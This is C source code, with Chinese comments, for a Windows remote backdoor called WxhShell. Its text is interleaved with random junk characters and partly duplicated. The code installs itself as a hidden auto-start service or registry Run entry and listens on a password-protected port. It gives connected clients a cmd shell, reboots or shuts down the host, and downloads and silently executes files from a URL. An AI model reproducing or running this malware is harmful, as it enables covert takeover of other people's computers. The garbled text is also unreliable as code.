+yN NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qqf*g=f wCruj`$ if (!NtQueryInformationProcess) return 0; Zis,%XY %xOxMK@ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |%v:>XEO if(!hProcess) return 0; G2)F<Y }X^MB if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VN!nef
FpA t CloseHandle(hProcess); Ui`{U j&'6|s{ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Zd>sdS`#r if(hProcess==NULL) return 0; XGH:'^o_ AJxN9[Z!N HMODULE hMod; }9fch9>Zr char procName[255]; )&d=2M;3 unsigned long cbNeeded; nW7: ] bS r"k if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j9hfW' =2Yt[8'; CloseHandle(hProcess); ['.]) 1ruI++P if(strstr(procName,"services")) return 1; // 以服务启动 "g&f:[a/ H~:oW~Ah return 0; // 注册表启动 -ZZJk-:: } ?{J1Uw< n+ebi>}P // 主模块 ^Z?m)qxvB int StartWxhshell(LPSTR lpCmdLine) C|TQf8 { >Wt@O\k SOCKET wsl; 9$;5J BOOL val=TRUE; m1Y a int port=0; `?(J(H struct sockaddr_in door; &l1t5 ! fI<LxU_n: if(wscfg.ws_autoins) Install(); Pg(Y}Tu oMj"l#a* port=atoi(lpCmdLine); $) "\N RBn/7 if(port<=0) port=wscfg.ws_port; e,_Sj(R8 0lg'QG> WSADATA data; (4/"uj5 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $Z#~wsw ?%hd3zc+f if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ofQs
/
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VPYLDg.' door.sin_family = AF_INET; *m+FMyr door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9U6$-]J door.sin_port = htons(port); bHnKtaK4c x-CjxU3 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B #%QY\<X closesocket(wsl); yj4"eDg] return 1; N{HAWB{ } i~]60M> 9d#?,:JG if(listen(wsl,2) == INVALID_SOCKET) { >*ls}
q^ closesocket(wsl); w+
!c9 return 1; 1Ys=KA-!_x } zP #:Tv' Wxhshell(wsl); Su6kpC!EW WSACleanup(); {] ]%0!n\ 0j!3\=P$ return 0; NeY*l 1n^N`lD8]6 } 20|_wAA5 (c0L
H // 以NT服务方式启动 +?U[362> VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %"Um8`]FVg { P(k*SB|D DWORD status = 0; =|1_6.tz DWORD specificError = 0xfffffff; n~ad#iN `~)?OTzU# serviceStatus.dwServiceType = SERVICE_WIN32; ?DUim1KG serviceStatus.dwCurrentState = SERVICE_START_PENDING; HZRFE[ 9nb serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t"GnmeH
i serviceStatus.dwWin32ExitCode = 0; ,W)DQwAg serviceStatus.dwServiceSpecificExitCode = 0; MSS[-} serviceStatus.dwCheckPoint = 0; ?YL JXq serviceStatus.dwWaitHint = 0; B.5+!z&7 e3SnC:OWf hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Wn@oG@}~ if (hServiceStatusHandle==0) return; 5WHz_'c
zU&Iy_Ke. status = GetLastError(); qSr]d`7@ if (status!=NO_ERROR) 'fU #v`i { 6I"KomJ9 serviceStatus.dwCurrentState = SERVICE_STOPPED; h#r~2\q4ei serviceStatus.dwCheckPoint = 0; /e>%yq<9B serviceStatus.dwWaitHint = 0; D=z~]a31! serviceStatus.dwWin32ExitCode = status; -\f7qRW^U serviceStatus.dwServiceSpecificExitCode = specificError; #17 &rizl SetServiceStatus(hServiceStatusHandle, &serviceStatus); OXrm!' return; iRsB|7v[ , } -z`FKej . J O3# serviceStatus.dwCurrentState = SERVICE_RUNNING; md+pS"8o; serviceStatus.dwCheckPoint = 0; yor'"6)i serviceStatus.dwWaitHint = 0; <jV,VKL# if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QNx]8r } ]Wkgpfd56 RQ8d1US // 处理NT服务事件,比如:启动、停止 Nq`;\E.M VOID WINAPI NTServiceHandler(DWORD fdwControl) j_so s%- { 62R";# K switch(fdwControl) ,:(s=JN+ { N=1ue`i case SERVICE_CONTROL_STOP: ZEI)U,
I. serviceStatus.dwWin32ExitCode = 0; C5dM`_3L serviceStatus.dwCurrentState = SERVICE_STOPPED; (7G4 v serviceStatus.dwCheckPoint = 0; E42)93~C serviceStatus.dwWaitHint = 0; rt*x[5< { 88_ef7w SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bu=1-8@=qs } PEvY3F}_rh return; [oU\l+t case SERVICE_CONTROL_PAUSE: f5 bq)Pm& serviceStatus.dwCurrentState = SERVICE_PAUSED; Uyb0iQ-,s break; iZn0B5]ikj case SERVICE_CONTROL_CONTINUE: x>EL|Q=? serviceStatus.dwCurrentState = SERVICE_RUNNING; L3Y,z3/ break; ;9z|rWsF case SERVICE_CONTROL_INTERROGATE: *G.vY#h break; b
VEJ }; %RV81H9B SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2QaE&8vW } ~_EDJp1J y`n?f|nf // 标准应用程序主函数 6a,8t int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n%F _3` { ,K,st+s| h}SZ+G/L // 获取操作系统版本 jXA/G%:[ OsIsNt=GetOsVer(); aNu.4c/5 GetModuleFileName(NULL,ExeFile,MAX_PATH); I^k&v V @)h>vg // 从命令行安装 06Wqfzceb if(strpbrk(lpCmdLine,"iI")) Install(); $4g{4-) o^2MfFS // 下载执行文件 Yt#;
+*d5 if(wscfg.ws_downexe) { F0_w9"3E~ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x[{\Aw>$. WinExec(wscfg.ws_filenam,SW_HIDE); V _~lME } &q<k0_5Q Nksm&{=6S if(!OsIsNt) { ]6Iu\,#J // 如果时win9x,隐藏进程并且设置为注册表启动 ,VVA^'+ HideProc(); ys=}
V| StartWxhshell(lpCmdLine); D?_K5a&v, } "G@K(bnHn else l0,VN,$Yl if(StartFromService()) y5eEEG6 // 以服务方式启动 UnK7&Uo StartServiceCtrlDispatcher(DispatchTable); _\\Al v. else ]\^O(BzB // 普通方式启动 {BJ>x:2 StartWxhshell(lpCmdLine); ir}z^+ eX#.Zt] return 0; &qg6^& } CPy>sV3Ru0 9~W]D!m, L/rf5||@ ;:bp?( =========================================== M584dMM 5{b;wLi$X2 Aeh# *S*49Hq7c zk{d*gN 1@OpvO5 " bss2<mqlH 2|bt"y-5r #include <stdio.h> kfnh1|D=aY #include <string.h> X?t;uZI^ #include <windows.h> $(D>v!dp #include <winsock2.h> 0~U%csPHt #include <winsvc.h> eaf-_#qb #include <urlmon.h> ]#G s6CsT| eAW)|=2 #pragma comment (lib, "Ws2_32.lib") oVK:A;3T| #pragma comment (lib, "urlmon.lib") a,oTU\m
C o_Zs0/ #define MAX_USER 100 // 最大客户端连接数 vU%K%-yXG7 #define BUF_SOCK 200 // sock buffer ;w .la #define KEY_BUFF 255 // 输入 buffer D@&xj_#\} TQck$& #define REBOOT 0 // 重启 !nl-}P, #define SHUTDOWN 1 // 关机 %@C8EFl%3 ^Saf
z8-3o #define DEF_PORT 5000 // 监听端口 *4
LS`` K[iAN;QCe% #define REG_LEN 16 // 注册表键长度 ]|!|3lQ #define SVC_LEN 80 // NT服务名长度 nPvys~D mBwz.KEm< // 从dll定义API 8D)1ZUx7` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2Jt{oh | typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); By@65KmR" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3=n6NTL typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V$hL\`e CsZm8oL$ // wxhshell配置信息 cVx SO`jZw struct WSCFG { fCUx93,>z int ws_port; // 监听端口 15jQ87) char ws_passstr[REG_LEN]; // 口令 S'HA] int ws_autoins; // 安装标记, 1=yes 0=no 4k^P1 char ws_regname[REG_LEN]; // 注册表键名 `l]Lvk8O char ws_svcname[REG_LEN]; // 服务名 0qNk.1pv char ws_svcdisp[SVC_LEN]; // 服务显示名 M#4;y,n<k char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ew0)MZ.# char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v`K%dBa int ws_downexe; // 下载执行标记, 1=yes 0=no 8gNTW7W/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YT8q0BR] char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :N<Qk |v7Je?yh }; Pi"?l[T0 8lx}0U // default Wxhshell configuration 6V$ )ym*F struct WSCFG wscfg={DEF_PORT, +H&/C1u "xuhuanlingzhe", [c=Wp 1, c!\T0XtT "Wxhshell", 2 %fcDEG/ "Wxhshell", # l9VTzi "WxhShell Service", m^XO77" "Wrsky Windows CmdShell Service", yn!;Z._ "Please Input Your Password: ", s~Ivq+ipr; 1, k-jFT3b$ "http://www.wrsky.com/wxhshell.exe", S6M7^_B4F "Wxhshell.exe" ^&&Wv'7XQ }; Z]uc *Ed {,5.svO // 消息定义模块 `5- ;'nX char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <VD7(j]'^ char *msg_ws_prompt="\n\r? for help\n\r#>"; C<teZz8/w char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fSd|6iFH char *msg_ws_ext="\n\rExit."; c&bhb[ char *msg_ws_end="\n\rQuit."; <b"^\]l char *msg_ws_boot="\n\rReboot..."; jo&j<3i char *msg_ws_poff="\n\rShutdown..."; KgM|:' char *msg_ws_down="\n\rSave to "; .t[u_tBL )T9Cv8 char *msg_ws_err="\n\rErr!"; F1BvDplQ>G char *msg_ws_ok="\n\rOK!"; wowf1j- >QYx9`x& char ExeFile[MAX_PATH]; F_:Wu,dUZ int nUser = 0; cr -5t4<jK HANDLE handles[MAX_USER]; KJJ:fG8' int OsIsNt; j_,/U^Ws|f E8av/O
VUd SERVICE_STATUS serviceStatus; =_=%1rI~ SERVICE_STATUS_HANDLE hServiceStatusHandle; !EKt$8W B~}BDnu 6 // 函数声明 e+!xy&u@u int Install(void); T"htWo{v> int Uninstall(void); iC
hIW/H int DownloadFile(char *sURL, SOCKET wsh); 0#Gm# =F int Boot(int flag); |e!Y
C iU void HideProc(void); 8Kl&_-l{b int GetOsVer(void); O9N!SQs80 int Wxhshell(SOCKET wsl); @BLB.= void TalkWithClient(void *cs); &iu]M=Yb int CmdShell(SOCKET sock); >k\p%{P int StartFromService(void); }ACg#;>/+ int StartWxhshell(LPSTR lpCmdLine); H HX q_-V qQ]fM$! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tYTl-c VOID WINAPI NTServiceHandler( DWORD fdwControl ); \3ydNgl aJv+BX_, // 数据结构和表定义 ,? <;zq SERVICE_TABLE_ENTRY DispatchTable[] = r{?qvl!q { 0 ;LF>+fJ {wscfg.ws_svcname, NTServiceMain}, *\#<2 QAe {NULL, NULL} "uuM#@h }; U*{0, Ue' *VXx\& // 自我安装 Pi1LOCq int Install(void) G)YmaHeI;[ { - s'W^( char svExeFile[MAX_PATH]; pvl];w HKEY key; eXsp0!v strcpy(svExeFile,ExeFile); ~rI2 RJ *MfH\X379 // 如果是win9x系统,修改注册表设为自启动 mEYfsO if(!OsIsNt) { ?4 wl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `0%;Gz%} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7./WS,49 RegCloseKey(key); XBX`L"0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?99r>01> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [bKc5qp RegCloseKey(key);
}BW&1*M{ return 0; .!^OmT,u } %n6<6t`$ } eN5F@isy } VWt=9D; else { |g \_xl \kV|S=~@ // 如果是NT以上系统,安装为系统服务 IHCxM|/k(M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LtwfL^ # if (schSCManager!=0) 88:YU4:l`N { +MHIZI SC_HANDLE schService = CreateService *ze/$vz- ( Muq~p~m} schSCManager, WU=EJY}#n wscfg.ws_svcname, ;Q&9t wscfg.ws_svcdisp, kLF3s#k SERVICE_ALL_ACCESS, -4Dz98du SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /m>SEo\{C SERVICE_AUTO_START, /C'_-U? SERVICE_ERROR_NORMAL, vv)O+xt svExeFile, }vx
4 6 NULL, \2~\c#-k NULL, (bsywM NULL, yz,_\{} NULL, L;g2ZoqIr0 NULL @g`|ob]9 ); lxZ9y if (schService!=0) {4SaSv^/ { wAu]U6! CloseServiceHandle(schService); M`Wk@t6> CloseServiceHandle(schSCManager); q},,[t strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _d7;Z% strcat(svExeFile,wscfg.ws_svcname); v1+.-hO if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y+$vHnS/jC RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d14@G4#Bd RegCloseKey(key); )@U~Li/+ return 0; Z$c&Y>@) } T
;84Sv } "+ {2! CloseServiceHandle(schSCManager); ?HOnDw.v1 } O5:U2o- } 'S74Ys=-0 sqF.,A, return 1; CD#U`jf } /W
f.Gt9[ #D(=[F // 自我卸载 |;aZi?Ek[ int Uninstall(void) Wn=I[K&& { t:oq't HKEY key; XmwR^ Hr] if(!OsIsNt) { ~#so4<A`3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #~m^RoE RegDeleteValue(key,wscfg.ws_regname); Exv!!0Cd^ RegCloseKey(key); ~ [/jk !G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WC_U'nTu4 RegDeleteValue(key,wscfg.ws_regname); `tT7&*Os RegCloseKey(key); h(~of( return 0; bM_fuy55Op } @@R&OR } l| \ -d } ettBque else { 9' H\- W:WRG8(F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3 %r*~#nz if (schSCManager!=0) A? jaS9 &) { :.BjJ2[S SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ; %AgKgV
if (schService!=0) H,EZ%
Gl { afaQb if(DeleteService(schService)!=0) { ;*nzb!u\\ CloseServiceHandle(schService); 2RqV\Jik CloseServiceHandle(schSCManager); K'Wv$[~Dc return 0; cw0@Z0 } tqB6:p-% CloseServiceHandle(schService); /IX555/dR1 } D'D IC CloseServiceHandle(schSCManager); *>EV4Hl } L`Ys`7 } Hi\z-P- Z 6WNMQ1: return 1; #U3q
+d+^ } |z@AvS[ Y)(w&E>1 // 从指定url下载文件 -!T24/l int DownloadFile(char *sURL, SOCKET wsh) nnu#rtvZp} { 6&LmR75C HRESULT hr; +g1+,?cU char seps[]= "/"; XMI5j7CL char *token; F$|d#ny char *file; 8OS^3JS3" char myURL[MAX_PATH]; l]R7A_| char myFILE[MAX_PATH]; !xg10N}I wLfH/J strcpy(myURL,sURL); *[jq& token=strtok(myURL,seps); %bdBg while(token!=NULL) _D+J3d(Pjk { !iX/Ni: file=token; \|]+sQ WQ token=strtok(NULL,seps); :To{&T } z}r @b5$WKPX GetCurrentDirectory(MAX_PATH,myFILE); Y@Ry
oJ strcat(myFILE, "\\"); t!FC) iY strcat(myFILE, file); >G [:Q
s send(wsh,myFILE,strlen(myFILE),0); %\'G2 send(wsh,"...",3,0);
l] hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L&|^y8 if(hr==S_OK) `6NcE-oJ return 0; EuVA"~PA else *|6vCR return 1; cs: ?Wq ^ u?z,Vs" } =yJV8%pa va#].4_ // 系统电源模块 ?aB%h
|VA int Boot(int flag) }KftVnD? { SFEDR?s HANDLE hToken; E3CwA8)k TOKEN_PRIVILEGES tkp; KNF{NFk )C0Iy.N- if(OsIsNt) { *xx)j:Sc2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r0\C2g_X LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {8;}y[R tkp.PrivilegeCount = 1; B1Z; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -" r4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]h`d>#Hw! if(flag==REBOOT) { 1p-<F3; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qckRX+P` return 0; v[DxWs8q } xj]^<oi< else { Efpju( if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ']^]z".H return 0; @aB7dtM } "{bc2#F } !b$~Sm) else { Z#kB+.U if(flag==REBOOT) { G;pc,\MF if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PVQn$-aq1 return 0; EyV5FWb58 } YQ1rS X3 else { zSOZr2-
^a if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hfvC-f97L return 0; ;jKL B^4nX } fNrpYR X } ,a0RI<D fQw=z$ return 1; Io/;+R. } q03nu3uDI 5RF*c,cNq // win9x进程隐藏模块 u0Z MrIJ void HideProc(void) U4iVI#f { *m'&<pg]X ?|Wxqo HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AJoP3Zv|? if ( hKernel != NULL ) h54\
\Ci { {yxLL-5c pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oy=ej+: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m_;XhO FreeLibrary(hKernel); 16~5 ;u } W6u(+P](" ?. L]QU return; x|Ms2.! } xHkx rXqeI A(+V{1L' // 获取操作系统版本 Hm~.u.)\. int GetOsVer(void) Ga
<=Di): { ;hd%wmE OSVERSIONINFO winfo; !xU\s'I+# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #=F{G4d)!= GetVersionEx(&winfo); A`I1G9s if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uy|]@|J return 1; u3jLe=Y'\ else !G'wC0 return 0; btDTC9O } Izfq`zS+\s O4^' H}* // 客户端句柄模块 b:
I0Zv6 int Wxhshell(SOCKET wsl) )[E7\pc { ftV~!r SOCKET wsh; c48I-{? struct sockaddr_in client; @k-GyV-v DWORD myID; ,K.Wni#m ,GtN6? while(nUser<MAX_USER) &5%~Qw.. { +N|t:8qaf int nSize=sizeof(client); ciCQe]fS wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FaaxfcIfkw if(wsh==INVALID_SOCKET) return 1; N=@8~{V. 4Ub7T=LG handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i`w&{WTRQ if(handles[nUser]==0) _|COnm closesocket(wsh); HeHo?<>|d else v#5hK<9 nUser++; 8'Q&FW3" } ,jy9\n*<t9 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q_k'7Z\g$ iW[%|ddk return 0; _6aI>b#yL } z;&J9r$` C&.Q|S2_ // 关闭 socket
Q6r
void CloseIt(SOCKET wsh) 2FN# 63 { ]];LA!n closesocket(wsh); tR?)C=4, nUser--; {CgF{7` ExitThread(0); U6YQ*%mZ_ } a0`(*#P T>5N$i // 客户端请求句柄 Et&PzDvU void TalkWithClient(void *cs) Ol8Yf.e_ { pO N@ Z..s /K{ SOCKET wsh=(SOCKET)cs; J2!)%mF$ char pwd[SVC_LEN]; c
<X( S char cmd[KEY_BUFF]; [3v&j_ char chr[1]; OXV9D:bIa int i,j; G~f|Sx ?oU5H while (nUser < MAX_USER) { NV\{$*j(|J 6MQyr2c if(wscfg.ws_passstr) { v;s^j if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jOxnf%jl //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sQO>1bh //ZeroMemory(pwd,KEY_BUFF); yk2XfY i=0; I%mGb$Q while(i<SVC_LEN) { 4CxU
eq 6PLdzZ{ // 设置超时 CmtDfE fd_set FdRead; 1@q"rPE^ struct timeval TimeOut; 6^z):d#u FD_ZERO(&FdRead); !*,m=*[3 FD_SET(wsh,&FdRead); N1dM,H TimeOut.tv_sec=8; E$4Ik.k TimeOut.tv_usec=0; T?{F7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i >BQRbU if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p'=XW#2 > R1Q~UX]d= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); or[! C% pwd=chr[0]; 2'}/aL|G if(chr[0]==0xd || chr[0]==0xa) { 41i#w;ojI pwd=0; z[]8"C= break; 3o_@3-Y% } [h0)V(1KR i++; n-CFB:L } /,+&O#SX |bk$VT4\ // 如果是非法用户,关闭 socket TcH7!fUj if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
YS>VQl } &[[Hfs2:-] W'Y#(N[ktP send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GOX2'N\h^ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fczH^+mI !PEP`wEKdp while(1) { 5Qxm\?0J VW**N}1#C ZeroMemory(cmd,KEY_BUFF); xsx0ZovhY C=DC g // 自动支持客户端 telnet标准 .s3y^1C j=0; E~`<n]{G-C while(j<KEY_BUFF) { LC0g"{M if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]KQBek#DD cmd[j]=chr[0]; ]fU0;jzX if(chr[0]==0xa || chr[0]==0xd) { ,veI'WHMB cmd[j]=0; -K0!wrKC break; .QDeS|l } P5Pb2|\* j++; Y58et9gRO } f}Uf*Bp v.>95|8 // 下载文件 [9~6, ;6 if(strstr(cmd,"http://")) { nOU.=N
v` send(wsh,msg_ws_down,strlen(msg_ws_down),0); *YP;HL if(DownloadFile(cmd,wsh)) Q&&oP:4~X* send(wsh,msg_ws_err,strlen(msg_ws_err),0);
{BD G;e else x,QXOh\a send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sE\Cv2Gx } t0)XdIl8 else { e^-CxHwA- ~L9I@(/S switch(cmd[0]) { le~p2l#e 17!<8vIV$C // 帮助 OsgjSJrf case '?': { "E7YCZQR send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;Lk07+3G break; ~lr,}K, } n fMU4(: // 安装 '-rRD\"q case 'i': { ]=(PtzVa if(Install()) .\"8H1I\T send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?PU7xO;_ else byX)4& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e0`5PVJ break; Vv*](iM } Gg5+Ap D // 卸载 > |(L3UA9 case 'r': { @gjA8mL if(Uninstall()) e^or qw/I send(wsh,msg_ws_err,strlen(msg_ws_err),0); oN=>U"<\1 else bA/'IF+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z4D[nPm$ break; 6Vu) } rWip[>^ // 显示 wxhshell 所在路径 B[;aNyd< case 'p': { 6rN.)dL.#N char svExeFile[MAX_PATH]; {,e-;2q strcpy(svExeFile,"\n\r"); VH<-||X/4 strcat(svExeFile,ExeFile); .c\iKc# send(wsh,svExeFile,strlen(svExeFile),0); *Jg&:(#}<J break; '_FxxLAO } r|Q/:UV?w // 重启 `5 MK(K
: case 'b': { {z |+.D send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D[3QQT7c if(Boot(REBOOT)) qR9!DQc' send(wsh,msg_ws_err,strlen(msg_ws_err),0); X>U _v else { 0G(|`xG1q closesocket(wsh); *fQn!2}=( ExitThread(0); R dLk85<n } `':G92}# break; OF O,5 } mD;ioaE
// 关机 !u|s8tN.U case 'd': { xi15B5_Ps send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !Mj28 if(Boot(SHUTDOWN)) 3%
O[W send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fq'Ds[wd5 else { {Hzj(c~S? closesocket(wsh); FA}y"I'W ExitThread(0); ;.3
{}.Y } 3shd0q< break; P}"uC`036 } )8_MkFQe // 获取shell 7
/XfPF case 's': { &M6Zsmo CmdShell(wsh); u4DrZ-v closesocket(wsh); R ^@ ExitThread(0); ?$ M:4mX break; )&93YrHgC } v>0} v)<v // 退出 wx_j)Wij6 case 'x': { - 9a4ej5 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
fxc?+<P CloseIt(wsh); KxQMPtHstz break; o~26<Lk } ^n*:zmD // 离开 c uHF^l case 'q': { $aHHXd}@t2 send(wsh,msg_ws_end,strlen(msg_ws_end),0); RhkTN'vO closesocket(wsh); UD ;UdehC WSACleanup(); +IG=|X exit(1); "pc
t# break; 'CCAuN>J } [I}xR(a@n } ^m -w@0^z } 'Ej+Jczzpp 3|bbJ6*.< // 提示信息 bRK\Tua
6 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hd_,`W@ } 0e(4+:0 } +6:jm54 i'[! 'HY return; XzPUll;ZU } <aY>fg d/1 Em(Okr,0 // shell模块句柄 >L J<6s[= int CmdShell(SOCKET sock) +QeA*L$~ { %+ytX]E STARTUPINFO si; uj+{
tc ZeroMemory(&si,sizeof(si)); -x-EU#.G si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JV?d/[u, si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ':]Hj8t_ PROCESS_INFORMATION ProcessInfo; M"yOWD~s~ char cmdline[]="cmd"; XC4wm#R CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GIhFOK return 0; 'u6n,yRm } a&u!KAQ _}tPtHPa/ // 自身启动模式 B(Er/\-@U int StartFromService(void) HJt
'@t=Ak { ,>Dpt< typedef struct }H|'W[Q. { F12$BKDH DWORD ExitStatus; 5-UrHbpCZ# DWORD PebBaseAddress; kc<5wY_t DWORD AffinityMask; lLLPvW[Q DWORD BasePriority; WG
+] ULONG UniqueProcessId; K?>sP%m) ULONG InheritedFromUniqueProcessId; 9(lcQuE9 } PROCESS_BASIC_INFORMATION; RV%)~S@!R sW76RKX8 PROCNTQSIP NtQueryInformationProcess; 4<Kxo\\S M9?f`9 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F:8@ ]tA& static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q+s2S>U{v AOef1^S= HANDLE hProcess; eu'~(_2 PROCESS_BASIC_INFORMATION pbi; ahFK^ #s <MoyL1= HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Vze vOS if(NULL == hInst ) return 0; S_38U ]d.e(yCuE g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (6&"(}Pai g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O)D$UG\< NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Xh }G=1} H'Jz:6 if (!NtQueryInformationProcess) return 0; 4K*st8+bl- ~RV"_8`V9 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &a)d,4e<M if(!hProcess) return 0; +'_ peT.8 ,\N4tG1\ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MHJRBn{} FsS.9
`B CloseHandle(hProcess); U65oh8x V!NRBXg hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wLNkXC if(hProcess==NULL) return 0; ?} lqu7S \\3 ?ij:v HMODULE hMod; Vq'n$k} char procName[255]; h.kjJF unsigned long cbNeeded; U5p 3b; p!DOc8a.\e if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <r
